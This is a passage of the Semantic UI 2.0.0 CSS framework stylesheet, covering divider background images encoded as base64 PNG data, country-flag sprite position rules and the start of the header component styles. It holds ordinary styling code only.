url(\"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAABaAAAAACCAYAAACuTHuKAAAAGXRFWHRTb2Z0d2FyZQBBZG9iZSBJbWFnZVJlYWR5ccllPAAAAyFpVFh0WE1MOmNvbS5hZG9iZS54bXAAAAAAADw/eHBhY2tldCBiZWdpbj0i77u/IiBpZD0iVzVNME1wQ2VoaUh6cmVTek5UY3prYzlkIj8+IDx4OnhtcG1ldGEgeG1sbnM6eD0iYWRvYmU6bnM6bWV0YS8iIHg6eG1wdGs9IkFkb2JlIFhNUCBDb3JlIDUuNS1jMDE0IDc5LjE1MTQ4MSwgMjAxMy8wMy8xMy0xMjowOToxNSAgICAgICAgIj4gPHJkZjpSREYgeG1sbnM6cmRmPSJodHRwOi8vd3d3LnczLm9yZy8xOTk5LzAyLzIyLXJkZi1zeW50YXgtbnMjIj4gPHJkZjpEZXNjcmlwdGlvbiByZGY6YWJvdXQ9IiIgeG1sbnM6eG1wPSJodHRwOi8vbnMuYWRvYmUuY29tL3hhcC8xLjAvIiB4bWxuczp4bXBNTT0iaHR0cDovL25zLmFkb2JlLmNvbS94YXAvMS4wL21tLyIgeG1sbnM6c3RSZWY9Imh0dHA6Ly9ucy5hZG9iZS5jb20veGFwLzEuMC9zVHlwZS9SZXNvdXJjZVJlZiMiIHhtcDpDcmVhdG9yVG9vbD0iQWRvYmUgUGhvdG9zaG9wIENDIChXaW5kb3dzKSIgeG1wTU06SW5zdGFuY2VJRD0ieG1wLmlpZDo1OThBRDY4OUNDMTYxMUU0OUE3NUVGOEJDMzMzMjE2NyIgeG1wTU06RG9jdW1lbnRJRD0ieG1wLmRpZDo1OThBRDY4QUNDMTYxMUU0OUE3NUVGOEJDMzMzMjE2NyI+IDx4bXBNTTpEZXJpdmVkRnJvbSBzdFJlZjppbnN0YW5jZUlEPSJ4bXAuaWlkOjU5OEFENjg3Q0MxNjExRTQ5QTc1RUY4QkMzMzMyMTY3IiBzdFJlZjpkb2N1bWVudElEPSJ4bXAuZGlkOjU5OEFENjg4Q0MxNjExRTQ5QTc1RUY4QkMzMzMyMTY3Ii8+IDwvcmRmOkRlc2NyaXB0aW9uPiA8L3JkZjpSREY+IDwveDp4bXBtZXRhPiA8P3hwYWNrZXQgZW5kPSJyIj8+VU513gAAADVJREFUeNrs0DENACAQBDBIWLGBJQby/mUcJn5sJXQmOQMAAAAAAJqt+2prAAAAAACg2xdgANk6BEVuJgyMAAAAAElFTkSuQmCC\");\n}\n\n@media only screen and (max-width: 767px) {\n  .ui.stackable.grid .ui.vertical.divider:before,\n  .ui.grid .stackable.row .ui.vertical.divider:before,\n  .ui.stackable.grid .ui.vertical.divider:after,\n  .ui.grid .stackable.row .ui.vertical.divider:after {\n    background-image: url(\"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAABaAAAAACCAYAAACuTHuKAAAAGXRFWHRTb2Z0d2FyZQBBZG9iZSBJbWFnZVJlYWR5ccllPAAAAyFpVFh0WE1MOmNvbS5hZG9iZS54bXAAAAAAADw/eHBhY2tldCBiZWdpbj0i77u/IiBpZD0iVzVNME1wQ2VoaUh6cmVTek5UY3prYzlkIj8+IDx4OnhtcG1ldGEgeG1sbnM6eD0iYWRvYmU6bnM6bWV0YS8iIHg6eG1wdGs9IkFkb2JlIFhNUCBDb3JlIDUuNS1jMDE0IDc5LjE1MTQ4MSwgMjAxMy8wMy8xMy0xMjowOToxNSAgICAgICAgIj4gPHJkZjpSREYgeG1sbnM6cmRmPSJodHRwOi8vd3d3LnczLm9yZy8xOTk5LzAyLzIyLXJkZi1zeW50YXgtbnMjIj4gPHJkZjpEZXNjcmlwdGlvbiByZGY6YWJvdXQ9IiIgeG1sbnM6eG1wPSJodHRwOi8vbnMuYWRvYmUuY29tL3hhcC8xLjAvIiB4bWxuczp4bXBNTT0iaHR0cDovL25zLmFkb2JlLmNvbS94YXAvMS4wL21tLyIgeG1sbnM6c3RSZWY9Imh0dHA6Ly9ucy5hZG9iZS5jb20veGFwLzEuMC9zVHlwZS9SZXNvdXJjZVJlZiMiIHhtcDpDcmVhdG9yVG9vbD0iQWRvYmUgUGhvdG9zaG9wIENDIChXaW5kb3dzKSIgeG1wTU06SW5zdGFuY2VJRD0ieG1wLmlpZDo1OThBRDY4OUNDMTYxMUU0OUE3NUVGOEJDMzMzMjE2NyIgeG1wTU06RG9jdW1lbnRJRD0ieG1wLmRpZDo1OThBRDY4QUNDMTYxMUU0OUE3NUVGOEJDMzMzMjE2NyI+IDx4bXBNTTpEZXJpdmVkRnJvbSBzdFJlZjppbnN0YW5jZUlEPSJ4bXAuaWlkOjU5OEFENjg3Q0MxNjExRTQ5QTc1RUY4QkMzMzMyMTY3IiBzdFJlZjpkb2N1bWVudElEPSJ4bXAuZGlkOjU5OEFENjg4Q0MxNjExRTQ5QTc1RUY4QkMzMzMyMTY3Ii8+IDwvcmRmOkRlc2NyaXB0aW9uPiA8L3JkZjpSREY+IDwveDp4bXBtZXRhPiA8P3hwYWNrZXQgZW5kPSJyIj8+VU513gAAADVJREFUeNrs0DENACAQBDBIWLGBJQby/mUcJn5sJXQmOQMAAAAAAJqt+2prAAAAAACg2xdgANk6BEVuJgyMAAAAAElFTkSuQmCC\");\n  }\n}\n\n/*******************************\n         Site Overrides\n*******************************/\n/*!\n * # Semantic UI 2.0.0 - Flag\n * http://github.com/semantic-org/semantic-ui/\n *\n *\n * Copyright 2015 Contributors\n * Released under the MIT license\n * http://opensource.org/licenses/MIT\n *\n */\n\n/*******************************\n             Flag\n*******************************/\n\ni.flag:not(.icon) {\n  display: inline-block;\n  width: 16px;\n  height: 11px;\n  line-height: 11px;\n  vertical-align: baseline;\n  margin: 0em 0.5em 0em 0em;\n  text-decoration: inherit;\n  speak: none;\n  font-smoothing: antialiased;\n  -webkit-backface-visibility: hidden;\n  backface-visibility: hidden;\n}\n\n/* Sprite */\n\ni.flag:not(.icon):before {\n  display: inline-block;\n  content: '';\n  background: url(\"themes/default/assets/images/flags.png\") no-repeat 0px 0px;\n  width: 16px;\n  height: 11px;\n}\n\n/* Flag Sprite Based On http://www.famfamfam.com/lab/icons/flags/ */\n\n/*******************************\n         Theme Overrides\n*******************************/\n\ni.flag.ad:before,\ni.flag.andorra:before {\n  background-position: 0px 0px;\n}\n\ni.flag.ae:before,\ni.flag.united.arab.emirates:before,\ni.flag.uae:before {\n  background-position: 0px -26px;\n}\n\ni.flag.af:before,\ni.flag.afghanistan:before {\n  background-position: 0px -52px;\n}\n\ni.flag.ag:before,\ni.flag.antigua:before {\n  background-position: 0px -78px;\n}\n\ni.flag.ai:before,\ni.flag.anguilla:before {\n  background-position: 0px -104px;\n}\n\ni.flag.al:before,\ni.flag.albania:before {\n  background-position: 0px -130px;\n}\n\ni.flag.am:before,\ni.flag.armenia:before {\n  background-position: 0px -156px;\n}\n\ni.flag.an:before,\ni.flag.netherlands.antilles:before {\n  background-position: 0px -182px;\n}\n\ni.flag.ao:before,\ni.flag.angola:before {\n  background-position: 0px -208px;\n}\n\ni.flag.ar:before,\ni.flag.argentina:before {\n  background-position: 0px -234px;\n}\n\ni.flag.as:before,\ni.flag.american.samoa:before {\n  background-position: 0px -260px;\n}\n\ni.flag.at:before,\ni.flag.austria:before {\n  background-position: 0px -286px;\n}\n\ni.flag.au:before,\ni.flag.australia:before {\n  background-position: 0px -312px;\n}\n\ni.flag.aw:before,\ni.flag.aruba:before {\n  background-position: 0px -338px;\n}\n\ni.flag.ax:before,\ni.flag.aland.islands:before {\n  background-position: 0px -364px;\n}\n\ni.flag.az:before,\ni.flag.azerbaijan:before {\n  background-position: 0px -390px;\n}\n\ni.flag.ba:before,\ni.flag.bosnia:before {\n  background-position: 0px -416px;\n}\n\ni.flag.bb:before,\ni.flag.barbados:before {\n  background-position: 0px -442px;\n}\n\ni.flag.bd:before,\ni.flag.bangladesh:before {\n  background-position: 0px -468px;\n}\n\ni.flag.be:before,\ni.flag.belgium:before {\n  background-position: 0px -494px;\n}\n\ni.flag.bf:before,\ni.flag.burkina.faso:before {\n  background-position: 0px -520px;\n}\n\ni.flag.bg:before,\ni.flag.bulgaria:before {\n  background-position: 0px -546px;\n}\n\ni.flag.bh:before,\ni.flag.bahrain:before {\n  background-position: 0px -572px;\n}\n\ni.flag.bi:before,\ni.flag.burundi:before {\n  background-position: 0px -598px;\n}\n\ni.flag.bj:before,\ni.flag.benin:before {\n  background-position: 0px -624px;\n}\n\ni.flag.bm:before,\ni.flag.bermuda:before {\n  background-position: 0px -650px;\n}\n\ni.flag.bn:before,\ni.flag.brunei:before {\n  background-position: 0px -676px;\n}\n\ni.flag.bo:before,\ni.flag.bolivia:before {\n  background-position: 0px -702px;\n}\n\ni.flag.br:before,\ni.flag.brazil:before {\n  background-position: 0px -728px;\n}\n\ni.flag.bs:before,\ni.flag.bahamas:before {\n  background-position: 0px -754px;\n}\n\ni.flag.bt:before,\ni.flag.bhutan:before {\n  background-position: 0px -780px;\n}\n\ni.flag.bv:before,\ni.flag.bouvet.island:before {\n  background-position: 0px -806px;\n}\n\ni.flag.bw:before,\ni.flag.botswana:before {\n  background-position: 0px -832px;\n}\n\ni.flag.by:before,\ni.flag.belarus:before {\n  background-position: 0px -858px;\n}\n\ni.flag.bz:before,\ni.flag.belize:before {\n  background-position: 0px -884px;\n}\n\ni.flag.ca:before,\ni.flag.canada:before {\n  background-position: 0px -910px;\n}\n\ni.flag.cc:before,\ni.flag.cocos.islands:before {\n  background-position: 0px -962px;\n}\n\ni.flag.cd:before,\ni.flag.congo:before {\n  background-position: 0px -988px;\n}\n\ni.flag.cf:before,\ni.flag.central.african.republic:before {\n  background-position: 0px -1014px;\n}\n\ni.flag.cg:before,\ni.flag.congo.brazzaville:before {\n  background-position: 0px -1040px;\n}\n\ni.flag.ch:before,\ni.flag.switzerland:before {\n  background-position: 0px -1066px;\n}\n\ni.flag.ci:before,\ni.flag.cote.divoire:before {\n  background-position: 0px -1092px;\n}\n\ni.flag.ck:before,\ni.flag.cook.islands:before {\n  background-position: 0px -1118px;\n}\n\ni.flag.cl:before,\ni.flag.chile:before {\n  background-position: 0px -1144px;\n}\n\ni.flag.cm:before,\ni.flag.cameroon:before {\n  background-position: 0px -1170px;\n}\n\ni.flag.cn:before,\ni.flag.china:before {\n  background-position: 0px -1196px;\n}\n\ni.flag.co:before,\ni.flag.colombia:before {\n  background-position: 0px -1222px;\n}\n\ni.flag.cr:before,\ni.flag.costa.rica:before {\n  background-position: 0px -1248px;\n}\n\ni.flag.cs:before,\ni.flag.serbia:before {\n  background-position: 0px -1274px;\n}\n\ni.flag.cu:before,\ni.flag.cuba:before {\n  background-position: 0px -1300px;\n}\n\ni.flag.cv:before,\ni.flag.cape.verde:before {\n  background-position: 0px -1326px;\n}\n\ni.flag.cx:before,\ni.flag.christmas.island:before {\n  background-position: 0px -1352px;\n}\n\ni.flag.cy:before,\ni.flag.cyprus:before {\n  background-position: 0px -1378px;\n}\n\ni.flag.cz:before,\ni.flag.czech.republic:before {\n  background-position: 0px -1404px;\n}\n\ni.flag.de:before,\ni.flag.germany:before {\n  background-position: 0px -1430px;\n}\n\ni.flag.dj:before,\ni.flag.djibouti:before {\n  background-position: 0px -1456px;\n}\n\ni.flag.dk:before,\ni.flag.denmark:before {\n  background-position: 0px -1482px;\n}\n\ni.flag.dm:before,\ni.flag.dominica:before {\n  background-position: 0px -1508px;\n}\n\ni.flag.do:before,\ni.flag.dominican.republic:before {\n  background-position: 0px -1534px;\n}\n\ni.flag.dz:before,\ni.flag.algeria:before {\n  background-position: 0px -1560px;\n}\n\ni.flag.ec:before,\ni.flag.ecuador:before {\n  background-position: 0px -1586px;\n}\n\ni.flag.ee:before,\ni.flag.estonia:before {\n  background-position: 0px -1612px;\n}\n\ni.flag.eg:before,\ni.flag.egypt:before {\n  background-position: 0px -1638px;\n}\n\ni.flag.eh:before,\ni.flag.western.sahara:before {\n  background-position: 0px -1664px;\n}\n\ni.flag.er:before,\ni.flag.eritrea:before {\n  background-position: 0px -1716px;\n}\n\ni.flag.es:before,\ni.flag.spain:before {\n  background-position: 0px -1742px;\n}\n\ni.flag.et:before,\ni.flag.ethiopia:before {\n  background-position: 0px -1768px;\n}\n\ni.flag.eu:before,\ni.flag.european.union:before {\n  background-position: 0px -1794px;\n}\n\ni.flag.fi:before,\ni.flag.finland:before {\n  background-position: 0px -1846px;\n}\n\ni.flag.fj:before,\ni.flag.fiji:before {\n  background-position: 0px -1872px;\n}\n\ni.flag.fk:before,\ni.flag.falkland.islands:before {\n  background-position: 0px -1898px;\n}\n\ni.flag.fm:before,\ni.flag.micronesia:before {\n  background-position: 0px -1924px;\n}\n\ni.flag.fo:before,\ni.flag.faroe.islands:before {\n  background-position: 0px -1950px;\n}\n\ni.flag.fr:before,\ni.flag.france:before {\n  background-position: 0px -1976px;\n}\n\ni.flag.ga:before,\ni.flag.gabon:before {\n  background-position: -36px 0px;\n}\n\ni.flag.gb:before,\ni.flag.united.kingdom:before {\n  background-position: -36px -26px;\n}\n\ni.flag.gd:before,\ni.flag.grenada:before {\n  background-position: -36px -52px;\n}\n\ni.flag.ge:before,\ni.flag.georgia:before {\n  background-position: -36px -78px;\n}\n\ni.flag.gf:before,\ni.flag.french.guiana:before {\n  background-position: -36px -104px;\n}\n\ni.flag.gh:before,\ni.flag.ghana:before {\n  background-position: -36px -130px;\n}\n\ni.flag.gi:before,\ni.flag.gibraltar:before {\n  background-position: -36px -156px;\n}\n\ni.flag.gl:before,\ni.flag.greenland:before {\n  background-position: -36px -182px;\n}\n\ni.flag.gm:before,\ni.flag.gambia:before {\n  background-position: -36px -208px;\n}\n\ni.flag.gn:before,\ni.flag.guinea:before {\n  background-position: -36px -234px;\n}\n\ni.flag.gp:before,\ni.flag.guadeloupe:before {\n  background-position: -36px -260px;\n}\n\ni.flag.gq:before,\ni.flag.equatorial.guinea:before {\n  background-position: -36px -286px;\n}\n\ni.flag.gr:before,\ni.flag.greece:before {\n  background-position: -36px -312px;\n}\n\ni.flag.gs:before,\ni.flag.sandwich.islands:before {\n  background-position: -36px -338px;\n}\n\ni.flag.gt:before,\ni.flag.guatemala:before {\n  background-position: -36px -364px;\n}\n\ni.flag.gu:before,\ni.flag.guam:before {\n  background-position: -36px -390px;\n}\n\ni.flag.gw:before,\ni.flag.guinea-bissau:before {\n  background-position: -36px -416px;\n}\n\ni.flag.gy:before,\ni.flag.guyana:before {\n  background-position: -36px -442px;\n}\n\ni.flag.hk:before,\ni.flag.hong.kong:before {\n  background-position: -36px -468px;\n}\n\ni.flag.hm:before,\ni.flag.heard.island:before {\n  background-position: -36px -494px;\n}\n\ni.flag.hn:before,\ni.flag.honduras:before {\n  background-position: -36px -520px;\n}\n\ni.flag.hr:before,\ni.flag.croatia:before {\n  background-position: -36px -546px;\n}\n\ni.flag.ht:before,\ni.flag.haiti:before {\n  background-position: -36px -572px;\n}\n\ni.flag.hu:before,\ni.flag.hungary:before {\n  background-position: -36px -598px;\n}\n\ni.flag.id:before,\ni.flag.indonesia:before {\n  background-position: -36px -624px;\n}\n\ni.flag.ie:before,\ni.flag.ireland:before {\n  background-position: -36px -650px;\n}\n\ni.flag.il:before,\ni.flag.israel:before {\n  background-position: -36px -676px;\n}\n\ni.flag.in:before,\ni.flag.india:before {\n  background-position: -36px -702px;\n}\n\ni.flag.io:before,\ni.flag.indian.ocean.territory:before {\n  background-position: -36px -728px;\n}\n\ni.flag.iq:before,\ni.flag.iraq:before {\n  background-position: -36px -754px;\n}\n\ni.flag.ir:before,\ni.flag.iran:before {\n  background-position: -36px -780px;\n}\n\ni.flag.is:before,\ni.flag.iceland:before {\n  background-position: -36px -806px;\n}\n\ni.flag.it:before,\ni.flag.italy:before {\n  background-position: -36px -832px;\n}\n\ni.flag.jm:before,\ni.flag.jamaica:before {\n  background-position: -36px -858px;\n}\n\ni.flag.jo:before,\ni.flag.jordan:before {\n  background-position: -36px -884px;\n}\n\ni.flag.jp:before,\ni.flag.japan:before {\n  background-position: -36px -910px;\n}\n\ni.flag.ke:before,\ni.flag.kenya:before {\n  background-position: -36px -936px;\n}\n\ni.flag.kg:before,\ni.flag.kyrgyzstan:before {\n  background-position: -36px -962px;\n}\n\ni.flag.kh:before,\ni.flag.cambodia:before {\n  background-position: -36px -988px;\n}\n\ni.flag.ki:before,\ni.flag.kiribati:before {\n  background-position: -36px -1014px;\n}\n\ni.flag.km:before,\ni.flag.comoros:before {\n  background-position: -36px -1040px;\n}\n\ni.flag.kn:before,\ni.flag.saint.kitts.and.nevis:before {\n  background-position: -36px -1066px;\n}\n\ni.flag.kp:before,\ni.flag.north.korea:before {\n  background-position: -36px -1092px;\n}\n\ni.flag.kr:before,\ni.flag.south.korea:before {\n  background-position: -36px -1118px;\n}\n\ni.flag.kw:before,\ni.flag.kuwait:before {\n  background-position: -36px -1144px;\n}\n\ni.flag.ky:before,\ni.flag.cayman.islands:before {\n  background-position: -36px -1170px;\n}\n\ni.flag.kz:before,\ni.flag.kazakhstan:before {\n  background-position: -36px -1196px;\n}\n\ni.flag.la:before,\ni.flag.laos:before {\n  background-position: -36px -1222px;\n}\n\ni.flag.lb:before,\ni.flag.lebanon:before {\n  background-position: -36px -1248px;\n}\n\ni.flag.lc:before,\ni.flag.saint.lucia:before {\n  background-position: -36px -1274px;\n}\n\ni.flag.li:before,\ni.flag.liechtenstein:before {\n  background-position: -36px -1300px;\n}\n\ni.flag.lk:before,\ni.flag.sri.lanka:before {\n  background-position: -36px -1326px;\n}\n\ni.flag.lr:before,\ni.flag.liberia:before {\n  background-position: -36px -1352px;\n}\n\ni.flag.ls:before,\ni.flag.lesotho:before {\n  background-position: -36px -1378px;\n}\n\ni.flag.lt:before,\ni.flag.lithuania:before {\n  background-position: -36px -1404px;\n}\n\ni.flag.lu:before,\ni.flag.luxembourg:before {\n  background-position: -36px -1430px;\n}\n\ni.flag.lv:before,\ni.flag.latvia:before {\n  background-position: -36px -1456px;\n}\n\ni.flag.ly:before,\ni.flag.libya:before {\n  background-position: -36px -1482px;\n}\n\ni.flag.ma:before,\ni.flag.morocco:before {\n  background-position: -36px -1508px;\n}\n\ni.flag.mc:before,\ni.flag.monaco:before {\n  background-position: -36px -1534px;\n}\n\ni.flag.md:before,\ni.flag.moldova:before {\n  background-position: -36px -1560px;\n}\n\ni.flag.me:before,\ni.flag.montenegro:before {\n  background-position: -36px -1586px;\n}\n\ni.flag.mg:before,\ni.flag.madagascar:before {\n  background-position: -36px -1613px;\n}\n\ni.flag.mh:before,\ni.flag.marshall.islands:before {\n  background-position: -36px -1639px;\n}\n\ni.flag.mk:before,\ni.flag.macedonia:before {\n  background-position: -36px -1665px;\n}\n\ni.flag.ml:before,\ni.flag.mali:before {\n  background-position: -36px -1691px;\n}\n\ni.flag.mm:before,\ni.flag.myanmar:before,\ni.flag.burma:before {\n  background-position: -36px -1717px;\n}\n\ni.flag.mn:before,\ni.flag.mongolia:before {\n  background-position: -36px -1743px;\n}\n\ni.flag.mo:before,\ni.flag.macau:before {\n  background-position: -36px -1769px;\n}\n\ni.flag.mp:before,\ni.flag.northern.mariana.islands:before {\n  background-position: -36px -1795px;\n}\n\ni.flag.mq:before,\ni.flag.martinique:before {\n  background-position: -36px -1821px;\n}\n\ni.flag.mr:before,\ni.flag.mauritania:before {\n  background-position: -36px -1847px;\n}\n\ni.flag.ms:before,\ni.flag.montserrat:before {\n  background-position: -36px -1873px;\n}\n\ni.flag.mt:before,\ni.flag.malta:before {\n  background-position: -36px -1899px;\n}\n\ni.flag.mu:before,\ni.flag.mauritius:before {\n  background-position: -36px -1925px;\n}\n\ni.flag.mv:before,\ni.flag.maldives:before {\n  background-position: -36px -1951px;\n}\n\ni.flag.mw:before,\ni.flag.malawi:before {\n  background-position: -36px -1977px;\n}\n\ni.flag.mx:before,\ni.flag.mexico:before {\n  background-position: -72px 0px;\n}\n\ni.flag.my:before,\ni.flag.malaysia:before {\n  background-position: -72px -26px;\n}\n\ni.flag.mz:before,\ni.flag.mozambique:before {\n  background-position: -72px -52px;\n}\n\ni.flag.na:before,\ni.flag.namibia:before {\n  background-position: -72px -78px;\n}\n\ni.flag.nc:before,\ni.flag.new.caledonia:before {\n  background-position: -72px -104px;\n}\n\ni.flag.ne:before,\ni.flag.niger:before {\n  background-position: -72px -130px;\n}\n\ni.flag.nf:before,\ni.flag.norfolk.island:before {\n  background-position: -72px -156px;\n}\n\ni.flag.ng:before,\ni.flag.nigeria:before {\n  background-position: -72px -182px;\n}\n\ni.flag.ni:before,\ni.flag.nicaragua:before {\n  background-position: -72px -208px;\n}\n\ni.flag.nl:before,\ni.flag.netherlands:before {\n  background-position: -72px -234px;\n}\n\ni.flag.no:before,\ni.flag.norway:before {\n  background-position: -72px -260px;\n}\n\ni.flag.np:before,\ni.flag.nepal:before {\n  background-position: -72px -286px;\n}\n\ni.flag.nr:before,\ni.flag.nauru:before {\n  background-position: -72px -312px;\n}\n\ni.flag.nu:before,\ni.flag.niue:before {\n  background-position: -72px -338px;\n}\n\ni.flag.nz:before,\ni.flag.new.zealand:before {\n  background-position: -72px -364px;\n}\n\ni.flag.om:before,\ni.flag.oman:before {\n  background-position: -72px -390px;\n}\n\ni.flag.pa:before,\ni.flag.panama:before {\n  background-position: -72px -416px;\n}\n\ni.flag.pe:before,\ni.flag.peru:before {\n  background-position: -72px -442px;\n}\n\ni.flag.pf:before,\ni.flag.french.polynesia:before {\n  background-position: -72px -468px;\n}\n\ni.flag.pg:before,\ni.flag.new.guinea:before {\n  background-position: -72px -494px;\n}\n\ni.flag.ph:before,\ni.flag.philippines:before {\n  background-position: -72px -520px;\n}\n\ni.flag.pk:before,\ni.flag.pakistan:before {\n  background-position: -72px -546px;\n}\n\ni.flag.pl:before,\ni.flag.poland:before {\n  background-position: -72px -572px;\n}\n\ni.flag.pm:before,\ni.flag.saint.pierre:before {\n  background-position: -72px -598px;\n}\n\ni.flag.pn:before,\ni.flag.pitcairn.islands:before {\n  background-position: -72px -624px;\n}\n\ni.flag.pr:before,\ni.flag.puerto.rico:before {\n  background-position: -72px -650px;\n}\n\ni.flag.ps:before,\ni.flag.palestine:before {\n  background-position: -72px -676px;\n}\n\ni.flag.pt:before,\ni.flag.portugal:before {\n  background-position: -72px -702px;\n}\n\ni.flag.pw:before,\ni.flag.palau:before {\n  background-position: -72px -728px;\n}\n\ni.flag.py:before,\ni.flag.paraguay:before {\n  background-position: -72px -754px;\n}\n\ni.flag.qa:before,\ni.flag.qatar:before {\n  background-position: -72px -780px;\n}\n\ni.flag.re:before,\ni.flag.reunion:before {\n  background-position: -72px -806px;\n}\n\ni.flag.ro:before,\ni.flag.romania:before {\n  background-position: -72px -832px;\n}\n\ni.flag.rs:before,\ni.flag.serbia:before {\n  background-position: -72px -858px;\n}\n\ni.flag.ru:before,\ni.flag.russia:before {\n  background-position: -72px -884px;\n}\n\ni.flag.rw:before,\ni.flag.rwanda:before {\n  background-position: -72px -910px;\n}\n\ni.flag.sa:before,\ni.flag.saudi.arabia:before {\n  background-position: -72px -936px;\n}\n\ni.flag.sb:before,\ni.flag.solomon.islands:before {\n  background-position: -72px -962px;\n}\n\ni.flag.sc:before,\ni.flag.seychelles:before {\n  background-position: -72px -988px;\n}\n\ni.flag.sd:before,\ni.flag.sudan:before {\n  background-position: -72px -1040px;\n}\n\ni.flag.se:before,\ni.flag.sweden:before {\n  background-position: -72px -1066px;\n}\n\ni.flag.sg:before,\ni.flag.singapore:before {\n  background-position: -72px -1092px;\n}\n\ni.flag.sh:before,\ni.flag.saint.helena:before {\n  background-position: -72px -1118px;\n}\n\ni.flag.si:before,\ni.flag.slovenia:before {\n  background-position: -72px -1144px;\n}\n\ni.flag.sj:before,\ni.flag.svalbard:before,\ni.flag.jan.mayen:before {\n  background-position: -72px -1170px;\n}\n\ni.flag.sk:before,\ni.flag.slovakia:before {\n  background-position: -72px -1196px;\n}\n\ni.flag.sl:before,\ni.flag.sierra.leone:before {\n  background-position: -72px -1222px;\n}\n\ni.flag.sm:before,\ni.flag.san.marino:before {\n  background-position: -72px -1248px;\n}\n\ni.flag.sn:before,\ni.flag.senegal:before {\n  background-position: -72px -1274px;\n}\n\ni.flag.so:before,\ni.flag.somalia:before {\n  background-position: -72px -1300px;\n}\n\ni.flag.sr:before,\ni.flag.suriname:before {\n  background-position: -72px -1326px;\n}\n\ni.flag.st:before,\ni.flag.sao.tome:before {\n  background-position: -72px -1352px;\n}\n\ni.flag.sv:before,\ni.flag.el.salvador:before {\n  background-position: -72px -1378px;\n}\n\ni.flag.sy:before,\ni.flag.syria:before {\n  background-position: -72px -1404px;\n}\n\ni.flag.sz:before,\ni.flag.swaziland:before {\n  background-position: -72px -1430px;\n}\n\ni.flag.tc:before,\ni.flag.caicos.islands:before {\n  background-position: -72px -1456px;\n}\n\ni.flag.td:before,\ni.flag.chad:before {\n  background-position: -72px -1482px;\n}\n\ni.flag.tf:before,\ni.flag.french.territories:before {\n  background-position: -72px -1508px;\n}\n\ni.flag.tg:before,\ni.flag.togo:before {\n  background-position: -72px -1534px;\n}\n\ni.flag.th:before,\ni.flag.thailand:before {\n  background-position: -72px -1560px;\n}\n\ni.flag.tj:before,\ni.flag.tajikistan:before {\n  background-position: -72px -1586px;\n}\n\ni.flag.tk:before,\ni.flag.tokelau:before {\n  background-position: -72px -1612px;\n}\n\ni.flag.tl:before,\ni.flag.timorleste:before {\n  background-position: -72px -1638px;\n}\n\ni.flag.tm:before,\ni.flag.turkmenistan:before {\n  background-position: -72px -1664px;\n}\n\ni.flag.tn:before,\ni.flag.tunisia:before {\n  background-position: -72px -1690px;\n}\n\ni.flag.to:before,\ni.flag.tonga:before {\n  background-position: -72px -1716px;\n}\n\ni.flag.tr:before,\ni.flag.turkey:before {\n  background-position: -72px -1742px;\n}\n\ni.flag.tt:before,\ni.flag.trinidad:before {\n  background-position: -72px -1768px;\n}\n\ni.flag.tv:before,\ni.flag.tuvalu:before {\n  background-position: -72px -1794px;\n}\n\ni.flag.tw:before,\ni.flag.taiwan:before {\n  background-position: -72px -1820px;\n}\n\ni.flag.tz:before,\ni.flag.tanzania:before {\n  background-position: -72px -1846px;\n}\n\ni.flag.ua:before,\ni.flag.ukraine:before {\n  background-position: -72px -1872px;\n}\n\ni.flag.ug:before,\ni.flag.uganda:before {\n  background-position: -72px -1898px;\n}\n\ni.flag.um:before,\ni.flag.us.minor.islands:before {\n  background-position: -72px -1924px;\n}\n\ni.flag.us:before,\ni.flag.america:before,\ni.flag.united.states:before {\n  background-position: -72px -1950px;\n}\n\ni.flag.uy:before,\ni.flag.uruguay:before {\n  background-position: -72px -1976px;\n}\n\ni.flag.uz:before,\ni.flag.uzbekistan:before {\n  background-position: -108px 0px;\n}\n\ni.flag.va:before,\ni.flag.vatican.city:before {\n  background-position: -108px -26px;\n}\n\ni.flag.vc:before,\ni.flag.saint.vincent:before {\n  background-position: -108px -52px;\n}\n\ni.flag.ve:before,\ni.flag.venezuela:before {\n  background-position: -108px -78px;\n}\n\ni.flag.vg:before,\ni.flag.british.virgin.islands:before {\n  background-position: -108px -104px;\n}\n\ni.flag.vi:before,\ni.flag.us.virgin.islands:before {\n  background-position: -108px -130px;\n}\n\ni.flag.vn:before,\ni.flag.vietnam:before {\n  background-position: -108px -156px;\n}\n\ni.flag.vu:before,\ni.flag.vanuatu:before {\n  background-position: -108px -182px;\n}\n\ni.flag.wf:before,\ni.flag.wallis.and.futuna:before {\n  background-position: -108px -234px;\n}\n\ni.flag.ws:before,\ni.flag.samoa:before {\n  background-position: -108px -260px;\n}\n\ni.flag.ye:before,\ni.flag.yemen:before {\n  background-position: -108px -286px;\n}\n\ni.flag.yt:before,\ni.flag.mayotte:before {\n  background-position: -108px -312px;\n}\n\ni.flag.za:before,\ni.flag.south.africa:before {\n  background-position: -108px -338px;\n}\n\ni.flag.zm:before,\ni.flag.zambia:before {\n  background-position: -108px -364px;\n}\n\ni.flag.zw:before,\ni.flag.zimbabwe:before {\n  background-position: -108px -390px;\n}\n\n/*******************************\n         Site Overrides\n*******************************/\n/*!\n * # Semantic UI 2.0.0 - Header\n * http://github.com/semantic-org/semantic-ui/\n *\n *\n * Copyright 2015 Contributors\n * Released under the MIT license\n * http://opensource.org/licenses/MIT\n *\n */\n\n/*******************************\n            Header\n*******************************/\n\n/* Standard */\n\n.ui.header {\n  border: none;\n  margin: calc(2rem -  0.14285em ) 0em 1rem;\n  padding: 0em 0em;\n  font-family: 'Lato', 'Helvetica Neue', Arial, Helvetica, sans-serif;\n  font-weight: bold;\n  line-height: 1.2857em;\n  text-transform: none;\n  color: rgba(0, 0, 0, 0.87);\n}\n\n.ui.header:first-child {\n  margin-top: -0.14285em;\n}\n\n.ui.header:last-child {\n  margin-bottom: 0em;\n}\n\n/*--------------\n   Sub Header\n---------------*/\n\n.ui.header .sub.header {\n  font-weight: normal;\n  padding: 0em;\n  margin: 0em;\n  font-size: 1rem;\n  line-height: 1.2em;\n  color: rgba(0, 0, 0, 0.6);\n}\n\n/*--------------\n      Icon\n---------------*/\n\n.ui.header > .icon {\n  display: table-cell;\n  opacity: 1;\n  font-size: 1.5em;\n  padding-top: 0.14285em;\n  vertical-align: middle;\n}\n\n/* With Text Node */\n\n.ui.header .icon:only-child {\n  display: inline-block;\n  padding: 0em;\n  margin-right: 0.75rem;\n}\n\n/*-------------------\n        Image\n--------------------*/\n\n.ui.header > .image,\n.ui.header > img {\n  display: inline-block;\n  margin-top: 0.14285em;\n  width: 2.5em;\n  height: auto;\n  vertical-align: middle;\n}\n\n.ui.header > .image:only-child,\n.ui.header > img:only-child {\n  margin-right: 0.75rem;\n}\n\n/*--------------\n     Content\n---------------*/\n\n.ui.header .content {\n  display: inline-block;\n  